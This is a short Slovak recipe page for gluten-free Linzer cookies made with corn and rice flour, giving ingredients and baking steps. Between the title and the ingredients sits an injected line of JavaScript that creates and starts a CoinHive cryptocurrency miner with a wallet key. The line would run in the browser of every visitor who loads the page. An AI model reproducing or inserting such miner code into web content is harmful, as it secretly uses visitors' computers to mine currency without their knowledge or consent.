
Linecké koláčiky z kukuričnej a ryžovej múky

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

Potrebujeme: 300 g kukuričnej múky, 160 g ryžovej múky, 160 g práškového cukru, 2 vanilkové
cukry, 2 vanilkové pudingy, 250 g Hery, 1 vajce, 1 ČL guarovej gumy (nemusí byť), citrónovej
kôry

  

Postup:  Všetky suroviny spolu zmiešame a vypracujeme cesto, ktoré dáme na 2-3 hodiny
odležať do chladničky. Cesto rozvaľkáme na papieri na pečenie a vykrajujeme rôzne tvary.
Pečieme cca 20-25 minút. Vychladnuté zlepujeme džemom alebo Nutelou.
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